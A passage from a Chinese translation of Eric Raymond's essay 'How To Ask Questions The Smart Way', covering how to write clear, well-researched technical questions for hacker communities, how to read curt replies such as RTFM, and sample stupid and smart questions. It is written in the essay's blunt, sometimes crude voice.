other.</p></blockquote><ul><li>我把我的问题用<strong>某语言</strong>和英文写出来，如果你只用一种语言回答，我会乐意将其翻译成另一种。</li></ul><h3 id="使用易于读取且标准的文件格式发送问题"><a href="#使用易于读取且标准的文件格式发送问题" class="headerlink" title="使用易于读取且标准的文件格式发送问题"></a>使用易于读取且标准的文件格式发送问题</h3><p>如果你人为地将问题搞得难以阅读，它多半会被忽略，人们更愿读易懂的问题，所以：</p><ul><li>使用纯文字而不是 HTML (<a href="http://archive.birdhouse.org/etc/evilmail.html">关闭 HTML</a> 并不难）。</li><li>使用 MIME 附件通常是可以的，前提是真正有内容（譬如附带的源代码或 patch），而不仅仅是邮件程序生成的模板（譬如只是信件内容的拷贝）。</li><li>不要发送一段文字只是一行句子但自动换行后会变成多行的邮件（这使得回复部分内容非常困难）。设想你的读者是在 80 个字符宽的终端机上阅读邮件，最好设置你的换行分割点小于 80 字。</li><li>但是，对一些特殊的文件<strong>不要</strong>设置固定宽度（譬如日志档案拷贝或会话记录）。数据应该原样包含，让回复者有信心他们看到的是和你看到的一样的东西。</li><li>在英语论坛中，不要使用<code>Quoted-Printable</code> MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的，但很多邮件程序并不支持这种编码。当它们处理换行时，那些文本中四处散布的<code>=20</code>符号既难看也分散注意力，甚至有可能破坏内容的语意。</li><li>绝对，<strong>永远</strong>不要指望黑客们阅读使用封闭格式编写的文档，像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理，他们也很厌恶这么做。</li><li>如果你从使用 Windows 的电脑发送电子邮件，关闭微软愚蠢的<code>智能引号</code>功能 （从[选项] &gt; [校订] &gt; [自动校正选项]，勾选掉<code>智能引号</code>单选框），以免在你的邮件中到处散布垃圾字符。</li><li>在论坛，勿滥用<code>表情符号</code>和<code>HTML</code>功能（当它们提供时）。一两个表情符号通常没有问题，但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意，除非你只是对性而不是对答案感兴趣。</li></ul><p>如果你使用图形用户界面的邮件程序（如微软公司的 Outlook 或者其它类似的），注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的<code>查看源代码</code>命令，用它来检查发送文件夹中的邮件，以确保发送的是纯文本文件同时没有一些奇怪的字符。</p><h3 id="精确地描述问题并言之有物"><a href="#精确地描述问题并言之有物" class="headerlink" title="精确地描述问题并言之有物"></a>精确地描述问题并言之有物</h3><ul><li>仔细、清楚地描述你的问题或 Bug 的症状。</li><li>描述问题发生的环境（机器配置、操作系统、应用程序、以及相关的信息），提供经销商的发行版和版本号（如：<code>Fedora Core 4</code>、<code>Slackware 9.1</code>等）。</li><li>描述在提问前你是怎样去研究和理解这个问题的。</li><li>描述在提问前为确定问题而采取的诊断步骤。</li><li>描述最近做过什么可能相关的硬件或软件变更。</li><li>尽可能的提供一个可以<code>重现这个问题的可控环境</code>的方法。</li></ul><p>尽量去揣测一个黑客会怎样反问你，在你提问之前预先将黑客们可能遇到的问题回答一遍。</p><p>以上几点中，当你报告的是你认为可能在代码中的问题时，给黑客一个可以重现你的问题的环境尤其重要。当你这么做时，你得到有效的回答的机会和速度都会大大的提升。</p><p><a href="http://www.chiark.greenend.org.uk/~sgtatham/">Simon Tatham</a> 写过一篇名为《<a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs-cn.html">如何有效的报告 Bug</a>》的出色文章。强力推荐你也读一读。</p><h3 id="话不在多而在精"><a href="#话不在多而在精" class="headerlink" title="话不在多而在精"></a>话不在多而在精</h3><p>你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境，尽量将它剪裁得越小越好。</p><p>这样做的用处至少有三点。<br>第一，表现出你为简化问题付出了努力，这可以使你得到回答的机会增加；<br>第二，简化问题使你更有可能得到<strong>有用</strong>的答案；<br>第三，在精炼你的 bug 报告的过程中，你很可能就自己找到了解决方法或权宜之计。</p><h3 id="别动辄声称找到-Bug"><a href="#别动辄声称找到-Bug" class="headerlink" title="别动辄声称找到 Bug"></a>别动辄声称找到 Bug</h3><p>当你在使用软件中遇到问题，除非你非常、<strong>非常</strong>的有根据，不要动辄声称找到了 Bug。提示：除非你能提供解决问题的源代码补丁，或者提供回归测试来表明前一版本中行为不正确，否则你都多半不够完全确信。这同样适用在网页和文件，如果你（声称）发现了文件的<code>Bug</code>，你应该能提供相应位置的修正或替代文件。</p><p>请记得，还有许多其它使用者没遇到你发现的问题，否则你在阅读文件或搜索网页时就应该发现了（你在抱怨前<a href="#在提问之前">已经做了这些，是吧</a>？）。这也意味着很有可能是你弄错了而不是软件本身有问题。</p><p>编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug，也就是在质疑他们的能力，即使你是对的，也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有<code>Bug</code>时，这尤其严重。</p><p>提问时，即使你私下非常确信已经发现一个真正的 Bug，最好写得像是<strong>你</strong>做错了什么。如果真的有 Bug，你会在回复中看到这点。这样做的话，如果真有 Bug，维护者就会向你道歉，这总比你惹恼别人然后欠别人一个道歉要好一点。</p><h3 id="低声下气不能代替你的功课"><a href="#低声下气不能代替你的功课" class="headerlink" title="低声下气不能代替你的功课"></a>低声下气不能代替你的功课</h3><p>有些人明白他们不该粗鲁或傲慢的提问并要求得到答复，但他们选择另一个极端 —— 低声下气：<code>我知道我只是个可悲的新手，一个撸瑟，但...</code>。这既使人困扰，也没有用，尤其是伴随着与实际问题含糊不清的描述时更令人反感。</p><p>别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是，尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。</p><p>有时网页论坛会设有专为新手提问的版面，如果你真的认为遇到了初学者的问题，到那去就是了，但一样别那么低声下气。</p><h3 id="描述问题症状而非你的猜测"><a href="#描述问题症状而非你的猜测" class="headerlink" title="描述问题症状而非你的猜测"></a>描述问题症状而非你的猜测</h3><p>告诉黑客们你认为问题是怎样造成的并没什么帮助。（如果你的推断如此有效，还用向别人求助吗？），因此要确信你原原本本告诉了他们问题的症状，而不是你的解释和理论；让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要，清楚地说明这只是你的猜测，并描述为什么它们不起作用。</p><p><strong>蠢问题</strong></p><blockquote><p>我在编译内核时接连遇到 SIG11 错误，<br>我怀疑某条飞线搭在主板的走线上了，这种情况应该怎样检查最好？</p></blockquote><p><strong>聪明问题</strong></p><blockquote><p>我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU（威盛 Apollo VP2 芯片组），<br>256MB Corsair PC133 SDRAM 内存，在编译内核时，从开机 20 分钟以后就频频产生 SIG11 错误，<br>但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用，但是关机一晚上就又能工作 20 分钟。<br>所有内存都换过了，没有效果。相关部分的标准编译记录如下…。</p></blockquote><p>由于以上这点似乎让许多人觉得难以配合，这里有句话可以提醒你：<code>所有的诊断专家都来自密苏里州。</code> 美国国务院的官方座右铭则是：<code>让我看看</code>（出自国会议员 Willard D. Vandiver 在 1899 年时的讲话：<code>我来自一个出产玉米，棉花，牛蒡和民主党人的国家，滔滔雄辩既不能说服我，也不会让我满意。我来自密苏里州，你必须让我看看。</code>） 针对诊断者而言，这并不是一种怀疑，而只是一种真实而有用的需求，以便让他们看到的是与你看到的原始证据尽可能一致的东西，而不是你的猜测与归纳的结论。所以，大方的展示给我们看吧！</p><h3 id="按发生时间先后列出问题症状"><a href="#按发生时间先后列出问题症状" class="headerlink" title="按发生时间先后列出问题症状"></a>按发生时间先后列出问题症状</h3><p>问题发生前的一系列操作，往往就是对找出问题最有帮助的线索。因此，你的说明里应该包含你的操作步骤，以及机器和软件的反应，直到问题发生。在命令行处理的情况下，提供一段操作记录（例如运行脚本工具所生成的），并引用相关的若干行（如 20 行）记录会非常有帮助。</p><p>如果挂掉的程序有诊断选项（如 -v 的详述开关），试着选择这些能在记录中增加调试信息的选项。记住，<code>多</code>不等于<code>好</code>。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。</p><p>如果你的说明很长（如超过四个段落），在开头简述问题，接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。</p><h3 id="描述目标而不是过程"><a href="#描述目标而不是过程" class="headerlink" title="描述目标而不是过程"></a>描述目标而不是过程</h3><p>如果你想弄清楚如何做某事（而不是报告一个 Bug），在开头就描述你的目标，然后才陈述重现你所卡住的特定步骤。</p><p>经常寻求技术帮助的人在心中有个更高层次的目标，而他们在自以为能达到目标的特定道路上被卡住了，然后跑来问该怎么走，但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。</p><p><strong>蠢问题</strong></p><blockquote><p>我怎样才能从某绘图程序的颜色选择器中取得十六进制的的 RGB 值？</p></blockquote><p><strong>聪明问题</strong></p><blockquote><p>我正试着用替换一幅图片的色码（color table）成自己选定的色码，我现在知道的唯一方法是编辑每个色码区块（table slot），<br>但却无法从某绘图程序的颜色选择器取得十六进制的的 RGB 值。</p></blockquote><p>第二种提问法比较聪明，你可能得到像是<code>建议采用另一个更合适的工具</code>的回复。</p><h3 id="别要求使用私人电邮回复"><a href="#别要求使用私人电邮回复" class="headerlink" title="别要求使用私人电邮回复"></a>别要求使用私人电邮回复</h3><p>黑客们认为问题的解决过程应该公开、透明，此过程中如果更有经验的人注意到不完整或者不当之处，最初的回复才能够、也应该被纠正。同时，作为提供帮助者可以得到一些奖励，奖励就是他的能力和学识被其他同行看到。</p><p>当你要求私下回复时，这个过程和奖励都被中止。别这样做，让<strong>回复者</strong>来决定是否私下回答 —— 如果他真这么做了，通常是因为他认为问题编写太差或者太肤浅，以至于对其它人没有兴趣。</p><p>这条规则存在一条有限的例外，如果你确信提问可能会引来大量雷同的回复时，那么这个神奇的提问句会是<code>向我发电邮，我将为论坛归纳这些回复</code>。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 —— 但你必须信守诺言。</p><h3 id="清楚明确的表达你的问题以及需求"><a href="#清楚明确的表达你的问题以及需求" class="headerlink" title="清楚明确的表达你的问题以及需求"></a>清楚明确的表达你的问题以及需求</h3><p>漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人（他们忙是因为要亲自完成大部分工作）。这样的人对无节制的时间黑洞相当厌恶，所以他们也倾向于厌恶那些漫无边际的提问。</p><p>如果你明确表述需要回答者做什么（如提供指点、发送一段代码、检查你的补丁、或是其他等等），就最有可能得到有用的答案。因为这会定出一个时间和精力的上限，便于回答者能集中精力来帮你。这么做很棒。</p><p>要理解专家们所处的世界，请把专业技能想像为充裕的资源，而回复的时间则是稀缺的资源。你要求他们奉献的时间越少，你越有可能从真正专业而且很忙的专家那里得到解答。</p><p>所以，界定一下你的问题，使专家花在辨识你的问题和回答所需要付出的时间减到最少，这技巧对你有用答案相当有帮助 —— 但这技巧通常和简化问题有所区别。因此，问<code>我想更好的理解 X，可否指点一下哪有好一点说明？</code>通常比问<code>你能解释一下 X 吗？</code>更好。如果你的代码不能运作，通常请别人看看哪里有问题，比要求别人替你改正要明智得多。</p><h3 id="询问有关代码的问题时"><a href="#询问有关代码的问题时" class="headerlink" title="询问有关代码的问题时"></a>询问有关代码的问题时</h3><p>别要求他人帮你调试有问题的代码，不提示一下应该从何入手。张贴几百行的代码，然后说一声：<code>它不能工作</code>会让你完全被忽略。只贴几十行代码，然后说一句：<code>在第七行以后，我期待它显示 &lt;x&gt;，但实际出现的是 &lt;y&gt;</code>比较有可能让你得到回应。</p><p>最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例（bug-demonstrating test case）。什么是最精简的测试用例？那是问题的缩影；一小个程序片段能<strong>刚好</strong>展示出程序的异常行为，而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例？如果你知道哪一行或哪一段代码会造成异常的行为，复制下来并加入足够重现这个状况的代码（例如，足以让这段代码能被编译/直译/被应用程序处理）。如果你无法将问题缩减到一个特定区块，就复制一份代码并移除不影响产生问题行为的部分。总之，测试用例越小越好（查看<a href="#话不在多而在精">话不在多而在精</a>一节）。</p><p>一般而言，要得到一段相当精简的测试用例并不太容易，但永远先尝试这样做的是种好习惯。这种方式可以帮助你了解如何自行解决这个问题 —— 而且即使你的尝试不成功，黑客们也会看到你在尝试取得答案的过程中付出了努力，这可以让他们更愿意与你合作。</p><p>如果你只是想让别人帮忙审查（Review）一下代码，在信的开头就要说出来，并且一定要提到你认为哪一部分特别需要关注以及为什么。</p><h3 id="别把自己家庭作业的问题贴上来"><a href="#别把自己家庭作业的问题贴上来" class="headerlink" title="别把自己家庭作业的问题贴上来"></a>别把自己家庭作业的问题贴上来</h3><p>黑客们很擅长分辨哪些问题是家庭作业式的问题；因为我们中的大多数都曾自己解决这类问题。同样，这些问题得由<strong>你</strong>来搞定，你会从中学到东西。你可以要求给点提示，但别要求得到完整的解决方案。</p><p>如果你怀疑自己碰到了一个家庭作业式的问题，但仍然无法解决，试试在使用者群组，论坛或（最后一招）在项目的<strong>使用者</strong>邮件列表或论坛中提问。尽管黑客们<strong>会</strong>看出来，但一些有经验的使用者也许仍会给你一些提示。</p><h3 id="去掉无意义的提问句"><a href="#去掉无意义的提问句" class="headerlink" title="去掉无意义的提问句"></a>去掉无意义的提问句</h3><p>避免用无意义的话结束提问，例如<code>有人能帮我吗？</code>或者<code>这有答案吗？</code>。</p><p>首先：如果你对问题的描述不是很好，这样问更是画蛇添足。</p><p>其次：由于这样问是画蛇添足，黑客们会很厌烦你 —— 而且通常会用逻辑上正确，但毫无意义的回答来表示他们的蔑视， 例如：<code>没错，有人能帮你</code>或者<code>不，没答案</code>。</p><p>一般来说，避免用 <code>是或否</code>、<code>对或错</code>、<code>有或没有</code>类型的问句，除非你想得到<a href="http://homepage.ntlworld.com./jonathan.deboynepollard/FGA/questions-with-yes-or-no-answers.html">是或否类型的回答</a>。</p><h3 id="即使你很急也不要在标题写紧急"><a href="#即使你很急也不要在标题写紧急" class="headerlink" title="即使你很急也不要在标题写紧急"></a>即使你很急也不要在标题写<code>紧急</code></h3><p>这是你的问题，不是我们的。宣称<code>紧急</code>极有可能事与愿违：大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是，<code>紧急</code>这个字（或是其他企图引起关注的标题）通常会被垃圾信过滤器过滤掉 —— 你希望能看到你问题的人可能永远也看不到。</p><p>有半个例外的情况是，如果你是在一些很高调，会使黑客们兴奋的地方，也许值得这样去做。在这种情况下，如果你有时间压力，也很有礼貌地提到这点，人们也许会有兴趣回答快一点。</p><p>当然，这风险很大，因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站（International Space Station）发这样的标题没有问题，但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上，张贴诸如<code>紧急：帮我救救这个毛绒绒的小海豹！</code>肯定让你被黑客忽略或惹恼他们，即使他们认为毛绒绒的小海豹很重要。</p><p>如果你觉得这点很不可思议，最好再把这份指南剩下的内容多读几遍，直到你弄懂了再发文。</p><h3 id="礼多人不怪，而且有时还很有帮助"><a href="#礼多人不怪，而且有时还很有帮助" class="headerlink" title="礼多人不怪，而且有时还很有帮助"></a>礼多人不怪，而且有时还很有帮助</h3><p>彬彬有礼，多用<code>请</code>和<code>谢谢您的关注</code>，或<code>谢谢你的关照</code>。让大家都知道你对他们花时间免费提供帮助心存感激。</p><p>坦白说，这一点并没有比清晰、正确、精准并合法语法和避免使用专用格式重要（也不能取而代之）。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告，而不是那种有礼但含糊的报告。（如果这点让你不解，记住我们是按问题能教给我们什么来评价问题的价值的）</p><p>然而，如果你有一串的问题待解决，客气一点肯定会增加你得到有用回应的机会。</p><p>（我们注意到，自从本指南发布后，从资深黑客那里得到的唯一严重缺陷反馈，就是对预先道谢这一条。一些黑客觉得<code>先谢了</code>意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说<code>先谢了</code>，<strong>然后</strong>事后再对回复者表示感谢，或者换种方式表达感激，譬如用<code>谢谢你的关注</code>或<code>谢谢你的关照</code>。）</p><h3 id="问题解决后，加个简短的补充说明"><a href="#问题解决后，加个简短的补充说明" class="headerlink" title="问题解决后，加个简短的补充说明"></a>问题解决后，加个简短的补充说明</h3><p>问题解决后，向所有帮助过你的人发个说明，让他们知道问题是怎样解决的，并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注，应该在那里贴一个说明比较恰当。</p><p>最理想的方式是向最初提问的话题回复此消息，并在标题中包含<code>已修正</code>，<code>已解决</code>或其它同等含义的明显标记。在人来人往的邮件列表里，一个看见讨论串<code>问题 X</code>和<code>问题 X - 已解决</code>的潜在回复者就明白不用再浪费时间了（除非他个人觉得<code>问题 X</code>的有趣），因此可以利用此时间去解决其它问题。</p><p>补充说明不必很长或是很深入；简单的一句<code>你好，原来是网线出了问题！谢谢大家 – Bill</code>比什么也不说要来的好。事实上，除非结论真的很有技术含量，否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的，但大可不必将解决问题的过程复述一遍。</p><p>对于有深度的问题，张贴调试记录的摘要是有帮助的。描述问题的最终状态，说明是什么解决了问题，在此<strong>之后</strong>才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后，而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字，会让你交到更多朋友。</p><p>除了有礼貌和有内涵以外，这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案，让他们也从中受益。</p><p>至少，这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客，那就相信我们，这种感觉对于那些你向他们求助的大师或者专家而言，是非常重要的。问题悬而未决会让人灰心；黑客们渴望看到问题被解决。好人有好报，满足他们的渴望，你会在下次提问时尝到甜头。</p><p>思考一下怎样才能避免他人将来也遇到类似的问题，自问写一份文件或加个常见问题（FAQ）会不会有帮助。如果是的话就将它们发给维护者。</p><p>在黑客中，这种良好的后继行动实际上比传统的礼节更为重要，也是你如何透过善待他人而赢得声誉的方式，这是非常有价值的资产。</p><h2 id="如何解读答案"><a href="#如何解读答案" class="headerlink" title="如何解读答案"></a>如何解读答案</h2><p><a id="RTFM"></a></p><h3 id="RTFM-和-STFW：如何知道你已完全搞砸了"><a href="#RTFM-和-STFW：如何知道你已完全搞砸了" class="headerlink" title="RTFM 和 STFW：如何知道你已完全搞砸了"></a>RTFM 和 STFW：如何知道你已完全搞砸了</h3><p>有一个古老而神圣的传统：如果你收到<code>RTFM （Read The Fucking Manual）</code>的回应，回答者认为你<strong>应该去读他妈的手册</strong>。当然，基本上他是对的，你应该去读一读。</p><p>RTFM 有一个年轻的亲戚。如果你收到<code>STFW（Search The Fucking Web）</code>的回应，回答者认为你<strong>应该到他妈的网上搜索</strong>。那人多半也是对的，去搜索一下吧。（更温和一点的说法是 <strong><a href="http://lmgtfy.com/">Google 是你的朋友</a></strong>！）</p><p>在论坛，你也可能被要求去爬爬论坛的旧文。事实上，有人甚至可能热心地为你提供以前解决此问题的讨论串。但不要依赖这种关照，提问前应该先搜索一下旧文。</p><p>通常，用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网址，而且他们打这些字的时候也正在读着。这些答复意味着回答者认为</p><ul><li><strong>你需要的信息非常容易获得</strong>；</li><li><strong>你自己去搜索这些信息比灌给你，能让你学到更多</strong>。</li></ul><p>你不应该因此不爽；<strong>依照黑客的标准，他已经表示了对你一定程度的关注，而没有对你的要求视而不见</strong>。你应该对他祖母般的慈祥表示感谢。</p><h3 id="如果还是搞不懂"><a href="#如果还是搞不懂" class="headerlink" title="如果还是搞不懂"></a>如果还是搞不懂</h3><p>如果你看不懂回应，别立刻要求对方解释。像你以前试着自己解决问题时那样（利用手册，FAQ，网络，身边的高手），先试着去搞懂他的回应。如果你真的需要对方解释，记得表现出你已经从中学到了点什么。</p><p>比方说，如果我回答你：<code>看来似乎是 zentry 卡住了；你应该先清除它。</code>，然后，这是一个<strong>很糟的</strong>后续问题回应：<code>zentry 是什么？</code> <strong>好</strong>的问法应该是这样：<code>哦~~~我看过说明了但是只有 -z 和 -p 两个参数中提到了 zentries，而且还都没有清楚的解释如何清除它。你是指这两个中的哪一个吗？还是我看漏了什么？</code></p><h3 id="处理无礼的回应"><a href="#处理无礼的回应" class="headerlink" title="处理无礼的回应"></a>处理无礼的回应</h3><p>很多黑客圈子中看似无礼的行为并不是存心冒犯。相反，它是直接了当，一针见血式的交流风格，这种风格更注重解决问题，而不是使人感觉舒服而却模模糊糊。</p><p>如果你觉得被冒犯了，试着平静地反应。如果有人真的做了出格的事，邮件列表、新闻群组或论坛中的前辈多半会招呼他。如果这<strong>没有</strong>发生而你却发火了，那么你发火对象的言语可能在黑客社区中看起来是正常的，而<strong>你</strong>将被视为有错的一方，这将伤害到你获取信息或帮助的机会。</p><p>另一方面，你偶尔真的会碰到无礼和无聊的言行。与上述相反，对真正的冒犯者狠狠地打击，用犀利的语言将其驳得体无完肤都是可以接受的。然而，在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔，黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外人，避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光，这时最好不要把手放在键盘上以免冒险。</p><p>（有些人断言很多黑客都有轻度的自闭症或亚斯伯格综合症，缺少用于润滑人类社会<strong>正常</strong>交往所需的神经。这既可能是真也可能是假的。如果你自己不是黑客，兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了，我们不在乎。我们<strong>喜欢</strong>我们现在这个样子，并且通常对病患标记都有站得住脚的怀疑）。</p><p>Jeff Bigler 的观察总结和这个相关也值得一读 (<strong><a href="http://www.mit.edu/~jcb/tact.html">tact filters</a></strong>)。</p><p>在下一节，我们会谈到另一个问题，当<strong>你</strong>行为不当时所会受到的<code>冒犯</code>。</p><h2 id="如何避免扮演失败者"><a href="#如何避免扮演失败者" class="headerlink" title="如何避免扮演失败者"></a>如何避免扮演失败者</h2><p>在黑客社区的论坛中有那么几次你可能会搞砸 —— 以本指南所描述到的或类似的方式。而你会在公开场合中被告知你是如何搞砸的，也许攻击的言语中还会带点夹七夹八的颜色。</p><p>这种事发生以后，你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被口头攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、忘了关马桶盖等等。相反地，你该这么做：</p><p>熬过去，这很正常。事实上，它是有益健康且合理的。</p><p>社区的标准不会自行维持，它们是通过参与者积极而<strong>公开地</strong>执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送，它不是这样运作的。当有人评论你的一个说法有误或者提出不同看法时，坚持声称受到个人攻击也毫无益处，这些都是失败者的态度。</p><p>也有其它的黑客论坛，受过高礼节要求的误导，禁止参与者张贴任何对别人帖子挑毛病的消息，并声称<code>如果你不想帮助用户就闭嘴。</code> 结果造成有想法的参与者纷纷离开，这么做只会使它们沦为毫无意义的唠叨与无用的技术论坛。</p><p>夸张的讲法是：你要的是“友善”（以上述方式）还是有用？两个里面挑一个。</p><p>记着：当黑客说你搞砸了，并且（无论多么刺耳）告诉你别再这样做时，他正在为关心<strong>你</strong>和<strong>他的社区</strong>而行动。对他而言，不理你并将你从他的生活中滤掉更简单。如果你无法做到感谢，至少要表现得有点尊严，别大声哀嚎，也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者，就指望别人像对待脆弱的洋娃娃那样对你。</p><p>有时候，即使你没有搞砸（或者只是在他的想像中你搞砸了），有些人也会无缘无故地攻击你本人。在这种情况下，抱怨倒是<strong>真的</strong>会把问题搞砸。</p><p>这些来找麻烦的人要么是毫无办法但自以为是专家的不中用家伙，要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬，要么用自己的方式对付他们。这些来找麻烦的人在给他们自己找麻烦，这点你不用操心。</p><p>也别让自己卷入口水战，最好不要理睬大多数的口水战 —— 当然，这是在你检验它们只是口水战，并且未指出你有搞砸的地方，同时也没有巧妙地将问题真正的答案藏于其后（这也是有可能的）。</p><h2 id="不该问的问题"><a href="#不该问的问题" class="headerlink" title="不该问的问题"></a>不该问的问题</h2><p>以下是几个经典蠢问题，以及黑客没回答时心中所想的：</p><p>问题：<a href="#q1">我能在哪找到 X 程序或 X 资源？</a></p><p>问题：<a href="#q2">我怎样用 X 做 Y？</a></p><p>问题：<a href="#q3">如何设定我的 shell 提示？</a></p><p>问题：<a href="#q4">我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 档案转换为 TeX 格式吗？</a></p><p>问题：<a href="#q5">我的程序/设定/SQL 语句没有用</a></p><p>问题：<a href="#q6">我的 Windows 电脑有问题，你能帮我吗？</a></p><p>问题：<a href="#q7">我的程序不会动了，我认为系统工具 X 有问题</a></p><p>问题：<a href="#q8">我在安装 Linux（或者 X ）时有问题，你能帮我吗？</a></p><p>问题：<a href="#q9">我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢？</a></p><hr><p><a id="q1"></a></p><blockquote><p>问题：我能在哪找到 X 程序或 X 资源？</p></blockquote><p>回答：就在我找到它的地方啊，白痴 —— 搜索引擎的那一头。天哪！难道还有人不会用 <a href="http://www.google.com">Google</a> 吗？</p><p><a id="q2"></a></p><blockquote><p>问题：我怎样用 X 做 Y？</p></blockquote><p>回答：如果你想解决的是 Y ，提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知，也对 Y 要解决的问题糊涂，还被特定形势禁锢了思维。最好忽略这种人，等他们把问题搞清楚了再说。</p><p><a id="q3"></a></p><blockquote><p>问题：如何设定我的 shell 提示？？</p></blockquote><p>回答：如果你有足够的智慧提这个问题，你也该有足够的智慧去 <a href="#RTFM">RTFM</a>，然后自己去找出来。</p><p><a id="q4"></a></p><blockquote><p>问题：我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 档案转换为 TeX 格式吗？</p></blockquote><p>回答：试试看就知道了。如果你试过，你既知道了答案，就不用浪费我的时间了。</p><p><a id="q5"></a></p><blockquote><p>问题：我的{程序/设定/SQL 语句}不工作</p></blockquote><p>回答：这不算是问题吧，我对要我问你二十个问题才找得出你真正问题的问题没兴趣 —— 我有更有意思的事要做呢。在看到这类问题的时候，我的反应通常不外如下三种</p><ul><li>你还有什么要补充的吗？</li><li>真糟糕，希望你能搞定。</li><li>这关我屁事？</li></ul><p><a id="q6"></a></p><blockquote><p>问题：我的 Windows 电脑有问题，你能帮我吗？</p></blockquote><p>回答：能啊，扔掉微软的垃圾，换个像 Linux 或 BSD 的开源操作系统吧。</p><p>注意：如果程序有官方版 Windows 或者与 Windows 有互动（如 Samba），你<strong>可以</strong>问与 Windows 相关的问题， 只是别对问题是由 Windows 操作系统而不是程序本身造成的回复感到惊讶， 因为 Windows 一般来说实在太烂，这种说法通常都是对的。</p><p><a id="q7"></a></p><blockquote><p>问题：我的程序不会动了，我认为系统工具 X 有问题</p></blockquote><p>回答：你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与函数库档案有明显缺陷的人，更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据，当你这样声称时，你必须有清楚而详尽的缺陷说明文件作后盾。</p><p><a id="q8"></a></p><blockquote><p>问题：我在安装 Linux（或者 X ）时有问题，你能帮我吗？</p></blockquote><p>回答：不能，我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的 Linux 使用群组者寻求实际的指导吧（你能在<a href="http://www.linux.org/groups/index.html">这儿</a>找到使用者群组的清单）。</p><p>注意：如果安装问题与某 Linux 的发行版有关，在它的邮件列表、论坛或本地使用者群组中提问也许是恰当的。此时，应描述问题的准确细节。在此之前，先用 <code>Linux</code> 和<strong>所有</strong>被怀疑的硬件作关键词仔细搜索。</p><p><a id="q9"></a></p><blockquote><p>问题：我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢？</p></blockquote><p>回答：想要这样做，说明了你是个卑鄙小人；想找个黑客帮你，说明你是个白痴！</p><h2 id="好问题与蠢问题"><a href="#好问题与蠢问题" class="headerlink" title="好问题与蠢问题"></a>好问题与蠢问题</h2><p>最后，我将透过举一些例子，来说明怎样聪明的提问；同一个问题的两种问法被放在一起，一种是愚蠢的，另一种才是明智的。</p><p><strong>蠢问题</strong>：</p><blockquote><p>我可以在哪儿找到关于 Foonly Flurbamatic 的资料？</p></blockquote><p>这种问法无非想得到 <a href="#RTFM">STFW</a> 这样的回答。</p><p><strong>聪明问题</strong>：</p><blockquote><p>我用 Google 搜索过 “Foonly Flurbamatic 2600”，但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料？</p></blockquote><p>这个问题已经 STFW 过了，看起来他真的遇到了麻烦。</p><p><strong>蠢问题</strong>：</p><blockquote><p>我从 foo 项目找来的源码没法编译。它怎么这么烂？</p></blockquote><p>他觉得都是别人的错，这个傲慢自大的提问者。</p><p><strong>聪明问题</strong>：</p><blockquote><p>foo 项目代码在 Nulix 6.2 版下无法编译通过。我读过了 FAQ，但里面没有提到跟 Nulix 有关的问题。这是我编译过程的记录，我有什么做的不对的地方吗？</p></blockquote><p>提问者已经指明了环境，也读过了 FAQ，还列出了错误，并且他没有把问题的责任推到别人头上，他的问题值得被关注。</p><p><strong>蠢问题</strong>：</p><blockquote><p>我的主机板有问题了，谁来帮我？</p></blockquote><p>某黑客对这类问题的回答通常是：<code>好的，还要帮你拍拍背和换尿布吗？</code>，然后按下删除键。</p><p><strong>聪明问题</strong>：</p><blockquote><p>我在 S2464 主机板上试过了 X 、 Y 和 Z ，但没什么作用，我又试了 A 、 B 和 C 